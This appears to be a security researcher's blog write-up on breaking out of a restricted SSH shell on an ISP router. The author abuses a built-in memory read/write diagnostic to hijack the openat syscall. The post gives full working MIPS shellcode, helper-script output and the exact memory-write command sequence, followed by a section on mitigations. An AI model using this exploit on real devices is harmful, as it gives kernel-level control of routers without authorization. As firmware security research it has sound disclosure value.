The Shell Was Restricted, but the Kernel Memory Was Wide Open

Breaking out of a restricted shell thanks to a built-in kernel memory write/read feature
The Shell Was Restricted, but the Kernel Memory Was Wide Open

Introduction

In embedded device security research, some of the most interesting vulnerabilities emerge from administrative features that were never intended for exploitation. This post examines how a legitimate diagnostic tool in router firmware can be leveraged to escape restricted shell environments through direct kernel memory manipulation.

The research focuses on a common ISP-provided router where initial reconnaissance revealed standard security controls: restricted shell access, input validation on network utilities, and limited command availability. However, a deeper exploration uncovered a powerful debugging feature that opened entirely new attack vectors.

Before You Own It, You Gotta Know It

Instead of approaching this through the web interface, I poked around port 22. Good old SSH.

I logged in using the default credentials and was greeted by a restricted shell. Not a full shell with all the usual tools, but I did have basic commands like ls and cat to look around. The rest was mostly limited to firewall configuration, Wi-Fi tweaks, DHCP settings, and network utilities like ping and traceroute. Pretty standard router management stuff.

Obviously, I tried every command injection trick I could think of, but none of it worked. The available commands were actually pretty secure.

That was the first rabbit hole. Let’s try the good old approach: abuse a functionality because, as always, it’s not a bug, it’s a feature.

Later I found a command named bs. Running bs ? revealed its purpose:

> bs ?
Directory Misc/ - miscellaneous
Commands:
 rm(3 parms): read memory
 wm(3 parms): write memory

Could I really read and write memory? That was exactly what I was looking for. The real challenge had begun: entering the kernel realm, writing shellcode, and hopefully not crashing the router too many times along the way.

What I Have and What I Know

After running ls and cat, I confirmed the router is running a Linux 3.x kernel, OpenWRT, MIPS 32-bit big endian, and has about 100 MB of RAM, more than my first PC, for the record.

My brilliant escape plan looked something like this:

  • Overwrite a syscall or some known function pointer to redirect execution
  • Write a shellcode somewhere in memory
  • Return gracefully without turning the router unresponsive
  • What should the shellcode actually do? Run a command? Who knows, I was improvising

Because Causing a Kernel Panic Is Basically Debugging

First step: cause a kernel panic, because it’s fun, as long as it’s not caused by a corrupted filesystem on an on-premise server 400 kilometers away from you.

Causing a kernel panic on the router was easy enough. After causing three kernel panics and waiting for the router to reboot each time, I said enough. I needed a more suitable testing environment where I could actually test real MIPS shellcode and debug it with GDB.

So I created a testing environment: Debian with kernel 3.x, emulated on a 32-bit big-endian MIPS processor using QEMU.

Second step. Where to write? From kernel exploitation writeups and research, I learned that you can read /proc/kallsyms to get a full list of syscall pointers. With this, I can pinpoint exactly where to write if I want to hijack a syscall or kernel function.

I asked Claude to generate C code to emulate the bs command, to randomly read and write memory. It worked on the second prompt, like some kind of AI wizardry.

I already knew some of the kernel syscalls, such as open, which is used to perform file operations. By reading /proc/kallsyms and filtering the results, I obtained the memory address I needed.

root@debian-testing-mips:/home# cat /proc/kallsyms | grep sys_open
8014ea60 W compat_sys_open_by_handle_at
8024d370 T do_sys_open
8024d608 T sys_open
8024d634 T sys_openat
802ac32c T sys_open_by_handle_at
802c2ae0 t proc_sys_open

With my freshly AI-programmed clone of the bs command, which I proudly named sandbox, I wrote to the address using the most traditional and sophisticated debugging pattern known to hackers, deadbeef.

[169187.480000] task: 860bd8c8 ti: 86290000 task.ti: 86290000
[169187.480000] $ 0   : 00000000 00000001 00000005 7703bbe4
[169187.480000] $ 4   : 00a15f48 00000000 00000000 81010100
[169187.480000] $ 8   : 00000014 801112c4 8024d608 6f63616c
[169187.480000] $12   : 7f80d770 77192e20 00a12608 77192e20
[169187.480000] $16   : 7722c000 ffffffff 00000000 7718c2ac
[169187.480000] $20   : 00000000 77096670 7718c620 0095f808
[169187.480000] $24   : 00000000 77110a50                  
[169187.480000] $28   : 86290000 86291f28 7f80d750 8024d610
[169187.480000] Hi    : 00000355
[169187.480000] Lo    : 00026889
[169187.480000] epc   : 91000000 0x91000000
[169187.480000]     Tainted: G      D      
[169187.480000] ra    : 8024d610 SyS_open+0x8/0x2c
[169187.480000] Status: 1000a403        KERNEL EXL IE 
[169187.480000] Cause : 10800028
[169187.480000] PrId  : 00019300 (MIPS 24Kc)
[169187.480000] Modules linked in: nfsd redboot cfi_cmdset_0001 cfi_probe cfi_util gen_probe drm_kms_helper ttm drm physmap map_funcs syscopyarea sysfillrect sysimgblt chipreg mtd autofs4 sr_mod cdrom e1000 sg uhci_hcd ehci_hcd i2c_piix4 usbcore usb_common i2c_core
[169187.480000] Process bash (pid: 1065, threadinfo=86290000, task=860bd8c8, tls=77233490)
[169187.480000] Stack : 00cc65b1 77236fbc 00000001 00000001 77192e20 00a12608 77192e20 00000000
          00000000 00000001 00000fa5 00000000 00a15f48 00000000 00000000 81010100
          0000000c 80808080 fefefeff 6f63616c f0000000 000000b0 0000001c 7f80d878
          00000003 77236fbc 00000000 00000000 0051a7cf 00000024 00520000 00962700
          00000012 77110a50 81010100 00000000 77192e20 7f80d750 0051a7f8 7703babc
          ...
[169187.480000] Call Trace:
[169187.480000] 
[169187.480000] 
Code: 00000000  00000000  00000000 <ffffffff> ffffffff  ffffffff  ffffffff  ffffffff  ffffffff 
[169187.492000] ---[ end trace 59b747ef68c0c1de ]---
[169187.544000] Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
[169187.544000] 
[169187.544000] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b

What Went Wrong and What Made Me Cry Less

Different CPU architectures handle memory differently, so the little things I know about x86 and x64 are useless here in the MIPS realm.

First, the MIPS memory layout. On MIPS, the Linux kernel starts at 0x80000000. The cool part? This whole kernel space is executable. That means when hunting for a place to stash my shellcode, I didn’t need fancy tricks like ROP chains. Just slap the shellcode somewhere in the kernel range and jump right in.

One thing that made me lose time was the MIPS branch delay slot. On MIPS, branch instructions always execute the instruction right after them before actually jumping. This caused unexpected behavior until I accounted for it properly.

What I thought would happen:

Original syscall start:
+-------------------------+
| 0xADDR: jump to shellcode  |  <-- Overwritten instruction
| 0xADDR + 4: instr A        |  <-- Next instruction
| 0xADDR + 8: instr B        |  <-- Next instruction
+-------------------------+

Execution flow I expected:
1. Jump immediately to shellcode at 0xSHELLCODE
2. Shellcode executes original instr A (overwritten instruction)
3. Shellcode jumps back to 0xADDR + 4 (right after the jump)

What actually happens due to branch delay slot:

1. Execute jump at 0xADDR (attempt to jump to shellcode)
2. Execute instr A at 0xADDR + 4 BEFORE jumping (branch delay slot)
3. Jump to shellcode at 0xSHELLCODE

Problem:
- instr A gets executed twice:
  • Once before the jump (delay slot)
  • Once again inside shellcode (to emulate overwritten instruction)

Result:
- Unexpected behavior, possibly causing kernel panic or corrupted syscall flow

A few crashes later, I managed to redirect the syscall flow and return back. The catch? My shellcode wasn’t doing anything useful yet.

I tried calling execv for command execution, but you can’t just call some syscalls from kernel context and expect them to work. After some research, I found call_usermodehelper, this function lets you execute commands from kernel context.

Final POC

For the PoC, I decided to run a cp command that copies /bin/sh to /tmp/pocrouter.

I targeted the openat syscall because the ps command (which works in the restricted shell) uses openat to read the /proc directory. This means I can hijack it to trigger my shellcode exactly when I want.

cat /proc/kallsyms | grep openat
8024d634 T SyS_openat
8024d634 T sys_openat
8025dff8 t path_openat

I also needed the call_usermodehelper function address:

cat /proc/kallsyms | grep call_usermodehelper
801426b0 t call_usermodehelper_freeinfo
801426f4 T call_usermodehelper_setup
80142a08 t ____call_usermodehelper
80142bb0 t __call_usermodehelper
80142d00 T call_usermodehelper_exec
80143170 T call_usermodehelper

The following MIPS assembly sets everything in place to run commands using call_usermodehelper. I’ll compile it and extract the raw bytes to use as shellcode.

addiu  $sp, $sp, -32        # Make space on the stack (32 bytes)
sw     $a0, 0($sp)          # Save argument registers $a0-$a3, $t2, and $ra
sw     $a1, 4($sp)
sw     $a2, 8($sp)
sw     $t2, 12($sp)
sw     $ra, 16($sp)
sw     $a3, 20($sp)
# Set up execve parameters for call_usermodehelper
la $a0, 0x81500000          # $a0 = pointer to filename string (e.g., "/bin/sh")
la $a1, 0x81500020          # $a1 = pointer to argv array
li $a2, 0                   # $a2 = envp (NULL)
la $a3, 1                   # $a3 = wait flag (1 = wait for completion)
la $t2, 0x80143170          # $t2 = address of call_usermodehelper syscall wrapper
jalr $t2                    # Jump and link to syscall
# Restore saved registers
lw     $a0, 0($sp)
lw     $a1, 4($sp)
lw     $a2, 8($sp)
lw     $t2, 12($sp)
lw     $ra, 16($sp)
lw     $a3, 20($sp)
addiu  $sp, $sp, 32         # Restore stack pointer

What’s going on here?

First, I carve out some stack space and stash away all the registers I’m about to mess with, $a0 through $a3, $t2, and the all-important $ra. Gotta keep the kernel happy and avoid crashes.

Next, I load up the syscall arguments:

  • $a0 points to my target binary (/bin/cp)
  • $a1 points to the argument list (argv)
  • $a2 is zero — no environment variables needed
  • $a3 is set to 1 — telling the kernel to wait for my command to finish
  • Then I grab the address of call_usermodehelper into $t2 and jump right in with jalr
  • Last but not least, I pop all my saved registers back off the stack and clean up so the kernel doesn’t freak out

This little dance keeps the kernel stable while I hijack execution to do what I want. Smooth, “reliable”, and exactly what I needed to break free from that restricted shell.

Then I use a script to generate exactly the output the bs command expects, basically building all the parameters needed to call call_usermodehelper. You just enter the command you want to run, its arguments, and the base memory address where everything should be placed, and it gives you the exact commands to write into memory.

python3 build-command-mips.py 
MIPS Shellcode Memory Writer Generator
=====================================
Enter command (e.g., /bin/cp): /bin/cp 
Enter arguments (one per line, empty line to finish):
/bin/sh  
/tmp/pocrouter

Enter base address (e.g., 0x81500000): 0x81500000

Generating shellcode for: /bin/cp /bin/sh /tmp/pocrouter
Base address: 0x81500000

Generated commands:
--------------------------------------------------
bs wm 0x81500000 w 0x2f62696e #'/bin'
bs wm 0x81500004 w 0x2f637000 #'/cp\x00'
bs wm 0x81500008 w 0x2f62696e #'/bin'
bs wm 0x8150000c w 0x2f736800 #'/sh\x00'
bs wm 0x81500010 w 0x2f746d70 #'/tmp'
bs wm 0x81500014 w 0x2f706f63 #'/poc'
bs wm 0x81500018 w 0x726f7574 #'rout'
bs wm 0x8150001c w 0x65720000 #'er\x00\x00'
bs wm 0x81500020 w 0x81500000 #array of pointers
bs wm 0x81500024 w 0x81500008
bs wm 0x81500028 w 0x81500010
bs wm 0x8150002c w 0x00000000

So all those strings and pointers occupy memory from 0x81500000 up to 0x8150002c. Next, I needed the actual shellcode in the same style, raw bytes ready to be written directly into memory. I compiled the assembly code I showed earlier and grabbed the resulting shellcode blob to drop right after the data.

root@debian-testing-mips:# objcopy -O binary --only-section=.text shellcode shellcode_text.bin
root@debian-testing-mips:# objdump -d shellcode

shellcode:     file format elf32-tradbigmips


Disassembly of section .text:

004000d0 <_ftext>:
  4000d0: 27bdffe0  addiu sp,sp,-32
  4000d4: afa40000  sw a0,0(sp)
  4000d8: afa50004  sw a1,4(sp)
  4000dc: afa60008  sw a2,8(sp)
  4000e0: afaa000c  sw t2,12(sp)
  4000e4: afbf0010  sw ra,16(sp)
  4000e8: afa70014  sw a3,20(sp)
  4000ec: 3c048150  lui a0,0x8150
  4000f0: 3c058150  lui a1,0x8150
  4000f4: 34a50020  ori a1,a1,0x20
  4000f8: 24060000  li a2,0
  4000fc: 24070001  li a3,1
  400100: 3c0a8014  lui t2,0x8014
  400104: 354a3170  ori t2,t2,0x3170
  400108: 0140f809  jalr t2
  40010c: 00000000  nop
  400110: 8fa40000  lw a0,0(sp)
  400114: 8fa50004  lw a1,4(sp)
  400118: 8fa60008  lw a2,8(sp)
  40011c: 8faa000c  lw t2,12(sp)
  400120: 8fbf0010  lw ra,16(sp)
  400124: 8fa70014  lw a3,20(sp)
  400128: 27bd0020  addiu sp,sp,32
  40012c: 00000000  nop

Extracting the raw data in hex format:

hexdump -C shellcode_text.bin | awk -F " " '{print "0x"$2$3$4$5"\n0x"$6$7$8$9"\n0x"$10$11$12$13"\n0x"$14$15$16$17}'
0x27bdffe0
0xafa40000
0xafa50004
0xafa60008
0xafaa000c
0xafbf0010
0xafa70014
0x3c048150
0x3c058150
0x34a50020
0x24060000
0x24070001
0x3c0a8014
0x354a3170
0x0140f809
0x00000000
0x8fa40000
0x8fa50004
0x8fa60008
0x8faa000c
0x8fbf0010
0x8fa70014
0x27bd0020
0x00000000

Another script made life way easier by taking the raw hex values of the shellcode along with the target memory address and spitting out the exact bs commands needed to write it all into place.

python3 write-memoryo.py 0x81500030 values.txt 
bs wm 0x81500030 w 0x27bdffe0
bs wm 0x81500034 w 0xafa40000
bs wm 0x81500038 w 0xafa50004
bs wm 0x8150003c w 0xafa60008
bs wm 0x81500040 w 0xafaa000c
bs wm 0x81500044 w 0xafbf0010
bs wm 0x81500048 w 0xafa70014
bs wm 0x8150004c w 0x3c048150
bs wm 0x81500050 w 0x3c058150
bs wm 0x81500054 w 0x34a50020
bs wm 0x81500058 w 0x24060000
bs wm 0x8150005c w 0x24070001
bs wm 0x81500060 w 0x3c0a8014
bs wm 0x81500064 w 0x354a3170
bs wm 0x81500068 w 0x0140f809
bs wm 0x8150006c w 0x00000000
bs wm 0x81500070 w 0x8fa40000
bs wm 0x81500074 w 0x8fa50004
bs wm 0x81500078 w 0x8fa60008
bs wm 0x8150007c w 0x8faa000c
bs wm 0x81500080 w 0x8fbf0010
bs wm 0x81500084 w 0x8fa70014
bs wm 0x81500088 w 0x27bd0020
bs wm 0x8150008c w 0x00000000

I needed to save the first two instructions of the hijacked openat syscall, so I used the bs command to read them before overwriting anything.

sandbox> bs rm 0x8024d634 w 2
Reading 2 word(s) from address 0x8024d634:
0x8024d634: 0x03e00821
0x8024d638: 0x00006021

The openat syscall is at 0x8024d634. I already grabbed the first two instructions from that spot, so my jump back target is 0x8024d63c (which is 0x8024d634 plus 8 bytes, since each MIPS instruction is 4 bytes).

Using another script, I generated the raw hex opcode for j 0x8024d63c, the jump instruction to get back to the original syscall flow after my shellcode runs.

python3 calc-jump.py 0x8024d63c
MIPS Jump Instruction Calculator
========================================

Target Address: 0x8024d63c
Jump Instruction: 0x0809358f

Sandbox command:
sandbox> bs wm 0x[address] w 0x0809358f

The last piece of my shellcode execute the first two original instructions from the hijacked openat syscall, then jump back to the original flow at 0x8024d63c. Because MIPS always executes the instruction after a jump (the branch delay slot), I added a NOP (0x00000000) there to keep things smooth.

Here’s the exact commands sent via bs:

bs wm 0x81500090 w 0x03e00821 # first instruction of original syscall
bs wm 0x81500094 w 0x00006021 # second instruction of original syscall
bs wm 0x81500098 w 0x0809358f # jmp 0x8024d63c
bs wm 0x8150009c w 0x00000000 # always remember the branch delay after a jump

To hijack the openat syscall, I overwrite its first two instructions with a jump to my shellcode and NOP instruction. This is done with the following bs commands:

bs wm 0x8024d634 w 0x0854000c # jump to shellcode
bs wm 0x8024d638 w 0x00000000 # nop branch delay

Final memory layout

0x81500000 - 0x8150002c : Command strings and argv pointers
  - '/bin/cp', '/bin/sh', '/tmp/pocrouter' strings
  - argv array pointers for call_usermodehelper

0x81500030 - 0x8150008c : Shellcode
  - The MIPS assembly shellcode that sets up registers and calls call_usermodehelper

0x81500090 - 0x8150009c : Original syscall instructions + jump back

The video below shows the exploit in action. I set a breakpoint at 0x81500030 using GDB to catch when the shellcode starts executing.

You’ll see the openat syscall getting triggered when I run the ps command, and also when I hit tab and runls. Right after the syscall is hijacked, the shellcode runs and creates the file /tmp/pocrouter as proof of concept.

Security Implications and Mitigations

This research highlights several important security considerations for embedded device manufacturers:

Administrative Interface Security

Built-in debugging and diagnostic tools should be carefully evaluated for potential security implications. Memory manipulation utilities, while useful for development and troubleshooting, can present significant security risks if exposed in production environments.

Principle of Least Privilege

Administrative interfaces should operate with minimal necessary privileges rather than kernel-level access where possible.

Input Validation and Access Controls

Even low-level utilities should implement appropriate input validation and memory access controls to prevent unauthorized kernel manipulation.

Defense in Depth

Restricted shells should be complemented by additional security layers, as administrative backdoors can bypass shell-level restrictions entirely.

Conclusions

This exploration demonstrates how seemingly benign administrative features can be leveraged for privilege escalation and security boundary bypass. The combination of direct memory access capabilities with kernel-level privileges created an effective pathway for escaping the restricted shell environment.

The discovery of the bs command transformed a standard restricted shell scenario into a kernel-level exploitation exercise. What started as a weekend curiosity project revealed fundamental security architecture issues that extend beyond typical web application vulnerabilities.

From a defensive perspective, this research underscores the importance of thoroughly evaluating all administrative interfaces and applying security controls consistently across all system access methods. The techniques explored here provide valuable insights into embedded system security assessment methodologies and highlight the complex relationship between system functionality and security boundaries.

The key takeaway is that security assessments of embedded devices must go beyond user-facing interfaces to examine all available system features, including diagnostic and administrative tools that may not be immediately obvious but can provide powerful capabilities to attackers.